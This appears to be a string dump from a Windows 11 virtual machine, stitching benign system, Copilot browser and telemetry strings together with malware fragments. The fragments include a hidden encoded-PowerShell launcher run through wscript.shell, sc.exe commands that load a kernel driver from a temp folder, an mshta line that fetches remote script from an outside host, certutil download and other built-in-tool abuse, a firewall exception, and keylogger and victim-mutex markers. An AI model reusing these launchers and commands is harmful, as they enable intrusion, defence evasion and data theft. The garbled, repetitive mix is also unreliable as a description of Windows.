Microsoft-Windows-Media-Format-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat
Microsoft-Windows-Media-Player-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat
displayingwindows10activator.txt
/7get-windowscredentialssyncconfig
windowspowershelltranscriptstart
blob.core.windows.net
        "X-BM-WindowsFlights",
                    client: "windows",
            //TODO: for service worker impression related events, call project API to upload to Windows if it is Windows data
windows
F:\dbs\sh\odct\0211_070530\cmd\k\client\onedrive\Product\UX\HostedCore\WindowsFeedbackHubIntegration.cpp
WindowsFeedbackHubIntegration::SaveSubmissionPayload
%Microsoft Windows Production PCA 2011
Microsoft.Windows.Health.TestInProduction
%Microsoft Windows Production PCA 2011
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
c:\windows\system32\
icrosoft.windows.photos.cro
icrosoft.windows.photos.picker
C:\WINDOWS\SYSTEM32\rxjh
C:\WINDOWS\SYSTEM32\rxjh
Phttps://www.bing.com/AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js
osoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows
z_14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\powershell.exe
14E77-02E7-4E5D-B744-2EB1AE5198B7}\WindowsPowerShell\v1.0\PowerShell_ISE.exe
231B0-B2F1-4857-A4CE-A8E7C6EA7D27}\WindowsPowerShell\v1.0\powershell.exe
y?231B0-B2F1-4857-A4CE-A8E7C6EA7D27}\WindowsPowerShell\v1.0\PowerShell_ISE.exe
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.tileviewfactory-custom.cpp
u[onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packagelocationfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.appextensionfactory-custom.cpp
qWindows
<t>syswow64\</t></si><si><t>\windows\</t></si><si><t>regsvr32.exe</t></si><si><t>"https
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
SdiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
'diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.2
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.3
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.NetworkChangeTask.ClassId.2
Microsoft-Windows-QoS-WMI-Diag
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
WS\system32\kernelbase.dll[MofResourceName]
GetDockWindowSize
VS2012WindowSplitterControl
VS2013WindowSplitterControl
get_ToolWindowStripGapBottom
Windows
%systemroot%\system32\wbem
%systemroot%\system32\wbem
Hosting Model, provides compatibility with Windows XP and Windows Server .NET. Do not override.
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
ExitWindowsEx
a=newactivexobject("wscript.shell");a.run('%windir%\\system32\\cmd.exe/cpowershell-windowhidden-encjabladgazaa0acaapqagaccajaawaecabgb1acaapqagaccajwbbaeqababsaekabqbwag8acgb0acgaigbraguacgbuaguabaazadialgbkagwabaaiackaxqbwahuaygbsagkaywagahmadabhahqaaqbjacaazqb4ahqazqbyag4aiab
=$env:systemroot+"\syswow64\windowspowershell\v1.0\powershell"
|sc.execreateaswsp_arpot2binpath=c:\windows\temp\aswarpot.systype=kernelsc.exestartaswsp_arpot2
:\Windows\System32\Drivers
\Windows\System32\Drivers
Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-OfflineFiles-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft-Windows-OfflineFiles-UI-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Dedup-ChunkLibrary-Package~31bf3856ad364e35~amd64~~10.0.26100.3323.cat
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
OpenWindowStationW
CloseWindowStation
SetProcessWindowStation
GetProcessWindowStation
EnumDesktopWindows
ExitWindowsEx
SetWindowsHookExW
UnhookWindowsHookEx
\\WindowsApps\\$(MatchAnyFilesRecursive)
C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MsMpEng.exe
FwHResultToWindowsError
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
"Windows'
"Windows" 
OS=Windows_NT
on_mode":4,"install_date":4,"local_component_id":4,"pop_sample":6,"session_id":4,"utc_flags":4},"privTags":2048,"policies":7},"app":{"name":"msedgewebview2","id":"U:MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy!CortanaUI","ver":"1000.26100.291.0_x64_!2026/02/19:18:14:56!3A065E!msedgewebview2.exe","is1P":1,"asId":156},"net":{"cost":"Unmetered","type":"Unknown"},"ariaMD":{"fields":["n:Channel;t:2","n:EventInfo.Level;t:2","n:PayloadLogType;t:2","n:UTCReplace_AppSessionGuid;t:1","n:account_type;t:2","n:appConsentState;t:2","n:app_sample_rate;t:3","n:client_id;t:2","n:device_sample_rate;t:3","n:experimentation_mode;t:2","n:install_date;t:2","n:isDeviceManaged;t:1","n:local_component_id;t:2","n:pop_sample;t:3","n:session_id;t:2","n:utc_flags;t:2"]},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"loc":{"tz":"+01:00"}},"data":{"Channel":4,"Etag":",","EventInfo.Level":1,"PayloadClass":"SYSTEM_INFO","PayloadGUID":"3929f6b4-1a51-49c1-931d-1bd6b8e39cf0","PayloadLogType":5,"AppSessionGuid":"00001F84-0001-0008-C002-F17F64A5DC01","account_type":0,"appConsentState":8,"app_sample_rate":79.189999999999998,"app_version":"145.0.3800.70-64","brandCode":"INBX","client_id":3806562852414400310,"device_sample_rate":59.816000000000003,"experimentation_mode":-1,"installSourceName":"windows","install_date":1771603200,"isDeviceManaged":0,"local_component_id":-5438630638006631682,"pop_sample":100,"reactivationBrandCode":"RegKeyNotFound","session_id":8,"utc_flags":140737488879616}}
    name="Microsoft.Windows.Shell.authui"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
 Windows
Windows
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\apps\vmtoolslib\vmtools.pdb
GetWindowsDirectoryW
%s\System32\msrun.exe
\Windows\winhelp.exe
\Windows Server\admin.txt
\Windows Server\sphlp.dll
\Windows Server\server.dat
\Windows Server\
USERDOMAIN_ROAMINGPROFILE=Windows11:
ComSpec=C:\WINDOWS\system32\cmd.exe2
\Microsoft\Windows\Start Menu\Programs\
uriUriStringToWindowsFilenameA
uriWindowsFilenameToUriStringA
c6^windows.appExtens
^windows.comServeri
mu Windows.copilotupdateSlu
mu Windows.Microsoft Copilot sa pok
mu Windows.Microsoft Copilot sa pok
mu Windows.Microsoft Copilot sa pok
mu Windows.Microsoft Copilot chce exportova
mu Windows.Microsoft Copilot sa pok
mu Windows.Microsoft Copilot chce odstr
mu Windows.Microsoft Copilot sa pok
mu Windows.V tomto po
aduje Windows 10 alebo nov
 Windows 
C:\Windows\System32\djoin.exe
Vc:\windows\system32\cmd.exe$..\..\..\..\windows\system32\cmd.exe/cstartregsvr32.exe
.dllc:\windows\system32\imageres.dll
    <p>If you still see the error, contact the website owner.</p>"Software on your computer is preventing Microsoft Copilot from safely connecting to the web" (Windows computers only)The site $2 has failed to deliver an origin policy,
HKLM\SOFTWARE\Policies\Microsoft\Windows\safer\codeidentifiers\0\Paths
HKCU\SOFTWARE\Policies\Microsoft\Windows\safer\codeidentifiers\0\Paths
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Ext\CLSID
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ext\PreApproved
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ext
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Ext
C:\WINDOWS\system32\cmd.exe
%E\Microsoft\Windows NT\CurrentVersion\Notifications\Data\\418A073AA3BC1C75
{E\Microsoft\Windows NT\CurrentVersion\Notifications\Data\\418A073AA3BC1C75
)C:\ProgramData\Microsoft\Windows\CapabilityAccessManager
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
UMicrosoftWindows.CrossDevice_cw5n1h2txyewy/
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
Windows/
windows874html
windows874
windows1250html
windows1250
windows1251html
windows1251
windows1252html
windows1252
windows1253html
windows1253
windows1254html
windows1254
windows1255html
windows1255
windows1256html
windows1256
windows1257html
windows1257
windows1258html
windows1258
windows9362000
windows31j
windows949
WindowsFormsApp40S
&Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy"}y
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel:[]}]}filer
nd":"response","result":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Suggestions"}
onecoreuap\windows\cdp\core\private\CDPInstanceManager.h
onecoreuap\windows\cdp\shared\ObservablePtr.h
activity.windows.com
Microsoft.Windows.CDP.
onecoreuap\windows\cdp\shared\onecore\AccountProviderCallbackHandler.h
windows_win32
windows
_popups|sciences,&quot; quality Windows 
onvert@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UProcessViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$convertible_observable_vector@UProcessViewModel@TaskManagerApp@winrt@@V?$vector@UProcessViewModel@TaskManagerApp@winrt@@V?$allocator@UProcessViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
\\.\root\Microsoft\Windows\Storage\PT:__Win32Provider.Name="DelegatorProvider"
Microsoft.Windows.Storage.StorportNotification
Microsoft.Windows.Storage.StorportOnDemandData
Microsoft.Windows.Storage.Storport
C:\__w\1\s\output\bundles\release\app-start-menu\index.windows.-
Windows features onk
Model@WindowsUdk
windows.hlp
com.microsoft.windows.extensions.xaml.desktopspotlight
92^com.microsoft.windows.extensionpackage
93^com.microsoft.windows.extensions.xaml
com.microsoft.windows.extensions.xaml
Software\Microsoft\Windows\CurrentVersion\Uninstall\Online Service ToolAll video files will now be played automatically. Thank you for choosing Online Service Tool.Licensor may offer additional components through our version checking/update system.mainsection
\\?\globalroot\systemroot\system32\advapi32.dll\
EVT-Windows-C++-No-3.4.276.7
.?AVwindows_scheduler@details@pplx@@
.?AV?$_Ref_count_obj2@Vwindows_scheduler@details@pplx@@@std@@
.?AVwindows_category_impl@details@utility@@
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateStringReference
anje. Unesite svoju lozinku za sustav Windows kako biste to dopustili.Microsoft Copilot poku
ava prikazati lozinke. Unesite svoju lozinku za sustav Windows da biste to dopustili.Microsoft Copilot poku
ite lozinku za Windows kako biste to dopustili.Microsoft Copilot poku
ite lozinku za Windows kako biste to dopustili.Microsoft Copilot 
e lozinke. Unesite svoju lozinku za sustav Windows da biste to dopustili.Microsoft Copilot poku
ava uvesti lozinke. Unesite svoju lozinku za sustav Windows da biste to dopustili.Microsoft Copilot 
ite lozinku za Windows kako biste to dopustili.Microsoft Copilot poku
ite lozinku za Windows kako biste to dopustili.Na tom je ra
ke. Ponovo preuzmite Microsoft Copilot.Za Microsoft Copilot je potreban Windows 10 ili noviji.Tijekom instalacije do
c:\windows\system32\windowspowershell\v1.0\powershell.exec:\windows\system32\windowspowershell\v1.0\powershell.exe-windowstylehiddenstart-sleep
C-nop-executionpolicybypass-windowstylehidden-command"$
pcshell\shell\Windows.UI.FileExplorer\src\GalleryFilterCommand.h
pcshell\shell\Windows.UI.FileExplorer\src\RibbonFilterCommand.cpp
pcshell\shell\Windows.UI.FileExplorer\src\CmdSetHelpers.h
$subprocess.popen(['\windows\system32\cmd.exe'],stdout=6
APPDATA=C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp
TMP=C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\ServiceProfiles\NetworkService
windir=C:\WINDOWS
\Windows\CurrentVersion\Policies\System\DisableTaskMgrexeF
QQ.exesmtp.qq.comC:\WINDOWS\city1\
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Feeds.Providers.FeedResourceResponse.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Notifications.FeedAnnouncement.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Notifications.WidgetAnnouncement.g.h
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Security.Cryptography.DataProtection.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Storage.Streams.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Microsoft.Windows.Widgets.Providers.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Microsoft.Windows.Widgets.Notifications.h
System.Windows.Forms.UnsafeNativeMethods.IExpandCollapseProvider.Expand
/agenzia/informazion.exeiconfile=c:\windows\system32\shell32.dll
\windows\system32\cmd.exez/cstart/bmshtahttps://www.privacysign.org/bgatl8yru+lbyn216pct7tcbvgcls5rx1nnczb5qhiw=%wn]nd.q1spsxfl8c&mm
s\system32\
s\system32\cmd.exe/cp3
..\..\base\win\windows_version.cc
WindowsVersion-major
WindowsVersion-minor
WindowsVersion-build
=[type]('scr'+'ipt'+'block');${get-acl-unique-lognamewindowspowershell&&($
::create(${get-acl-unique-lognamewindowspowershell&&($
\`windows\pchealth\errorrep\qheadles\taskhostw.exe
smss.exe||csrss.exe||winlogon.exe
%windir%\system32\inetsrv\srvhttp.dllSrvHttpModuleHttpSrvModuleTo configure ApplicationHost.config file OK...unstall[ERROR]:CreateFile to %ws(%s) error...CreateFile %ws(%s) OK...
C5n1h2txyewy!WindowsDefaultLockScreen&
App.exeWindows.FullTrustApplica
C:\\Users\\GavaLarr\\Desktop\\Windows\\prjFormCaption.vbp
mshta.exe javascript:getobjectregister-cimprovider.exe -path c:forfiles /pc:\windows /m notepad.exe /cc:\windows\system32\cmd.exe /c replace.exe system32\replace.execmd.exe /c certutil.exe -urlcache -split -fmsiexec.exe /q /ic:\windows\system32\register-cimprovider.exe -path
yc:\windows\system32\cmd.exe/v/csetm=mshta&&seta=
_MicrosoftWindowsW32
global\captcha-%s -k captchanetsh firewall add allowedprogram name="captcha" program="%s" mode=enable%%temp%%\captcha.bat%%windir%%\system32\captcha.dll
tVictim_Mutex&ver=%d&mac=%02X%02X%02X%02X%02X%02XCLSID = s '{0FA24E3E-422C-4D94-A125-104F32352C90}'http://www.myyiso.com/internet/Software\Microsoft\Internet Explorer\New Windows\AllowP
Windows NT\CurrentVersion
cashback-sysbar.dllcashback-sys_2.dllsoftware\microsoft\windows\currentversion\ext\settings\{5a921613-323f-4906-a026-b7205f3a01ef}MonitoringTool:Win32/FTPKeylogger
pcshell\shell\Windows.UI.FileExplorer\src\ModernNavBar\NavBarViewAdapter.cpp
pcshell\shell\Windows.UI.FileExplorer\src\SearchBoxActivatedEventArgs.h
pcshell\shell\Windows.UI.FileExplorer\src\SearchBoxActivatedEventArgs.cpp
pcshell\shell\Windows.UI.FileExplorer\src\SearchBoxUIHost.h
pcshell\shell\Windows.UI.FileExplorer\src\MRUHelpers.h
pcshell\shell\Windows.UI.FileExplorer\src\SearchBoxUIHost.cpp
pcshell\shell\Windows.UI.FileExplorer\src\ModernSearchBox.cpp
SetProcessWindowStation
SetWindowStationUser
SetWindowsHookA
SetWindowsHookExA
SetWindowsHookExAW
SetWindowsHookExW
SetWindowsHookW
TileChildWindows
TileWindows
UnhookWindowsHook
UnhookWindowsHookEx
UnlockWindowStation
 @Digest Authentication for Windows
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\windows\system32\drivers\root\system\*.*c
c:\windows\system32\drivers\gmreadme.txtc
WINDOWS.WEB.HTTP.HTTPCLIENT
%Microsoft Windows Production PCA 20110
Microsoft Windows Publisher0
%Microsoft Windows Production PCA 20110
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.j
c:\windows\rlt
c:\windows\rlt
ICredentialsget_ControlsUnhookWindowsHookExadd_MouseDown
stupid windows defender
system32\cmd.exe/c"(
System.Windows.Markup/
.?AU?$consume_Windows_Foundation_Collections_IIterable@UTemplates@implementation@TaskManagerApp@winrt@@U?$IKeyValuePair@UIInspectable@Foundation@Windows@winrt@@U1234@@Collections@Foundation@Windows@4@@impl@winrt@@
